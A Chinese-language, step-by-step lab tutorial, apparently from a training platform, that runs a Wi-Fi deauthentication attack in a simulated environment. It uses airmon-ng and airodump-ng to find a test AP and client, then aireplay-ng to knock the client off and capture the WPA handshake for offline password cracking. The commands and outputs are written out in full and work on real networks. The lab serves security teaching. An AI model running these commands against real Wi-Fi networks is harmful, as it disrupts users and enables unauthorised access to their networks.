引言 本次实验要解决的核心问题，是如何主动捕获 WPA 握手包。对于尝试分析或破解 Wi-Fi 网络密码而言，WPA/WPA2 四次握手数据至关重要。虽然通过被动监听等待设备自行连接网络，也有机会抓到握手包，但这种方法通常效率较低，很多时候还需要一定运气。 更高效的方式，是让已经连接到无线接入点的客户端暂时断开连接，然后立即重新接入。这个过程称为 deauthentication，也就是常见的“deauth”攻击。客户端一旦重新连接到 Wi-Fi，就会重新执行 WPA/WPA2 四次握手，此时便可以顺利捕获握手数据包。 在本次实验中，你将使用 `aircrack-ng` 工具套件中的 `aireplay-ng`，对模拟的 Wi-Fi 客户端发起 deauthentication 攻击。通过这种方式，可以更稳定、更快速地抓取 WPA 握手包并进行后续分析。实验环境已预先配置完成，包括一个名为 `MyTestAP` 的虚拟无线接入点（AP），以及一个已经连接的客户端。 使用 airodump-ng 扫描识别关联客户端 这一步需要先将无线接口切换为监控模式，然后再通过 `airodump-ng` 识别目标接入点及其当前关联的客户端设备。 首先，需要把一个虚拟无线接口设置为监控模式（monitor mode）。只有在这种模式下，无线网卡才能捕获空中传输的全部 Wi-Fi 流量，而不仅仅是发往自身的数据帧。这里使用的接口为 `wlan1`。 执行下面的命令，在 `wlan1` 上启用监控模式： ```bash sudo airmon-ng start wlan1```nn此命令会创建一个新的监控接口，通常命名为 `wlan1mon`。执行后，你应该会看到输出信息，确认监控模式已经成功启用。nn```plaintextnPHY Interface Driver Chipsetnnphy0 wlan0 mac80211_hwsim Software simulatornphy1 wlan1 mac80211_hwsim Software simulatornn (mac80211 monitor mode vif enabled for [phy1]wlan1 on [phy1]wlan1mon)n (mac80211 station mode vif disabled for [phy1]wlan1)n```nn接下来，在新创建的监控接口（`wlan1mon`）上运行 `airodump-ng` 开始抓包扫描。这里使用 `-w` 参数将捕获到的数据包保存为名为 `capture` 的文件，并通过指定目标 AP 的 BSSID 和信道来聚焦扫描范围。模拟 AP 的 BSSID 为 `02:00:00:00:01:00`，信道为 6。nn```bashnsudo airodump-ng -w capture --bssid 02:00:00:00:01:00 -c 6 wlan1monn```nn让 `airodump-ng` 持续运行。你会看到一个实时刷新的界面：上半部分显示附近的无线接入点，下半部分显示已连接到这些 AP 的客户端。你应该能看到实验中的 AP `MyTestAP`，以及一个已连接到它的客户端。nn输出大致如下：nn```plaintextnCH 6 ][ Elapsed: 10 s ][ 2023-10-27 10:30nn BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSIDnn 02:00:00:00:01:00 -30 10 5 0 6 540 WPA2 CCMP PSK MyTestAPnn BSSID STATION PWR Rate Lost Frames Probenn 02:00:00:00:01:00 02:00:00:00:02:00 -35 0- 1 0 5n```nn请从输出中识别并记录以下关键信息：nn- **BSSID**: `02:00:00:00:01:00`（AP 的 MAC 地址）n- **STATION**: `02:00:00:00:02:00`（已连接客户端的 MAC 地址）nn保持该终端继续运行，后续你还需要通过它确认 WPA 握手包是否成功捕获。n","need_verify":true,"has_solution":false},{"position":2,"title":"打开新终端执行 Deauthentication 攻击","layout":"doc-workbench-split","text":"## 打开新终端执行 Deauthentication 攻击nn在这一步中，你需要打开一个新的终端窗口。上一步中运行的 `airodump-ng` 命令必须保持在第一个终端中持续运行，以便监听并捕获 WPA 握手包。Deauthentication 攻击则需要在第二个独立终端中执行。nn要打开新终端，请点击终端窗口顶部标签栏中的 `+` 图标。nnnn新终端打开后，你会位于 `~/project` 目录中，接下来即可在此终端中执行攻击命令。后续所有与攻击相关的命令，都应在这个新终端中运行。n","need_verify":true,"has_solution":false},{"position":3,"title":"使用 --deauth 构建 aireplay-ng 命令","layout":"doc-workbench-split","text":"## 使用 --deauth 构建 aireplay-ng 命令nn在此步骤中，你将根据步骤 1 中收集到的信息，构建用于执行 deauthentication 攻击的 `aireplay-ng` 命令。nn使用 `aireplay-ng` 发起 deauth 攻击的基本语法如下：n`aireplay-ng --deauth -a -c `nn下面对命令中的各个参数进行说明：nn- `--deauth`：指定 deauthentication 攻击模式。n- ``：表示要发送的 deauth 数据包数量。通常发送一个较小的突发包数量，例如 `5`，就足以让客户端断开当前连接。n- `-a `：指定目标无线接入点（Access Point）的 MAC 地址。在步骤 1 中，该值为 `02:00:00:00:01:00`。n- `-c `：指定要断开连接的客户端 MAC 地址。在步骤 1 中，该值为 `02:00:00:00:02:00`。n- ``：表示处于监控模式的无线接口，也就是 `wlan1mon`。nn现在，请在新终端中拼接完整命令。它应当与下面内容完全一致：nn```bashnsudo aireplay-ng --deauth 5 -a 02:00:00:00:01:00 -c 02:00:00:00:02:00 wlan1monn```nn先不要按 Enter，下一步你将正式执行这条命令。n","need_verify":true,"has_solution":false},{"position":4,"title":"执行针对客户端和 AP 的攻击","layout":"doc-workbench-split","text":"## 执行针对客户端和 AP 的攻击nn在这一步中，你将执行刚刚构建好的命令，正式发起 deauthentication 攻击。nn在第二个终端窗口中，按下 `Enter` 键运行 `aireplay-ng` 命令。nn```bashnsudo aireplay-ng --deauth 5 -a 02:00:00:00:01:00 -c 02:00:00:00:02:00 wlan1monn```nn工具会立即开始发送 deauthentication 数据包。终端输出会显示当前时间，以及它正在向目标客户端发送定向 deauth 帧的状态信息。nn输出示例如下：nn```plaintextn10:35:10 Waiting for beacon frame (BSSID: 02:00:00:00:01:00) on channel 6n10:35:10 Sending 64 directed DeAuths to 02:00:00:00:02:00 (code 7).n10:35:11 Sending 64 directed DeAuths to 02:00:00:00:02:00 (code 7).n...n```nn整个攻击过程非常快。一旦命令开始执行，目标客户端就会与当前 Wi-Fi 网络断开，并很快尝试重新连接。这个重新接入过程会触发新的 WPA 四次握手，而这正是我们希望捕获的关键数据。nn随后请迅速切换回第一个终端（运行 `airodump-ng` 的窗口），以便在下一步中观察握手包是否已成功抓取。n","need_verify":true,"has_solution":false},{"position":5,"title":"在 airodump-ng 窗口中确认握手包捕获","layout":"doc-workbench-split","text":"## 在 airodump-ng 窗口中确认握手包捕获nn在此步骤中，你将通过检查 `airodump-ng` 窗口中的 WPA 握手提示信息，确认 deauthentication 攻击是否已经成功触发并捕获握手包。nn切换回第一个终端。如果攻击成功，你会在 `airodump-ng` 界面的右上角看到一条新的提示信息：nn`WPA handshake: 02:00:00:00:01:00`nn这条提示表示 `airodump-ng` 已成功拦截并保存了指定 BSSID 的 WPA 四次握手数据。nn```plaintextnCH 6 ][ Elapsed: 45 s ][ 2023-10-27 10:35 ][ WPA handshake: 02:00:00:00:01:00nn BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSIDnn 02:00:00:00:01:00 -30 48 82 1 6 540 WPA2 CCMP PSK MyTestAPnn BSSID STATION PWR Rate Lost Frames Probenn 02:00:00:00:01:00 02:00:00:00:02:00 -36 0- 1 0 75n```nn当你确认已经捕获握手包后，就可以停止抓包。在 `airodump-ng` 所在终端中按 `Ctrl+C` 停止程序运行。nn由于你在步骤 1 中使用了 `-w capture` 参数，`airodump-ng` 会将捕获到的流量保存到当前目录（`~/project`）中的文件里。现在列出目录文件，查看抓包结果。nn```bashnls -ln```nn你应该会看到多个以 `capture` 开头的文件，其中包括 `capture-01.cap`。这个 `.cap` 文件保存了原始无线数据包，其中就包含刚刚成功捕获到的 WPA 握手包。nn```plaintextn-rw-r--r-- 1 root root 450 Oct 27 10:36 capture-01.capn-rw-r--r-- 1 root root 892 Oct 27 10:36 capture-01.csvn-rw-r--r-- 1 root root 634 Oct 27 10:36 capture-01.kismet.csvn-rw-r--r-- 1 root root 128 Oct 27 10:36 capture-01.kismet.netxmln-rw-r--r-- 1 labex labex 121 Oct 27 10:28 hostapd.confn-rw-r--r-- 1 labex labex 52 Oct 27 10:28 wpa_supplicant.confn```nn其中，`capture-01.cap` 是最关键的文件。后续你可以将它配合密码破解工具（例如 `aircrack-ng`）使用，进一步尝试恢复目标网络的预共享密钥。n","need_verify":true,"has_solution":false},{"position":6,"title":"总结","layout":"doc-fullscreen","text":"## 总结nn本次实验到这里就结束了。整个流程已经完整跑通：你成功发起了 deauthentication 攻击，并主动捕获到了 WPA 握手包。nn通过这次无线网络安全实验，你已经掌握了以下关键操作：nn- 使用 `airmon-ng` 将无线网卡切换到监控模式（monitor mode）n- 使用 `airodump-ng` 扫描无线网络环境，定位目标 AP 与客户端n- 使用 `aireplay-ng` 构建并执行 deauthentication 攻击n- 验证 WPA 握手包是否成功捕获，并找到生成的 `.cap` 抓包文件nn这也是 Wi-Fi 安全测试与 WPA/WPA2 握手包捕获中的基础技能之一。成功获取握手包后，下一步通常就是结合 `aircrack-ng` 等工具，以及足够完整的密码字典（wordlist），开展离线密码破解分析。n","need_verify":false,"has_solution":false}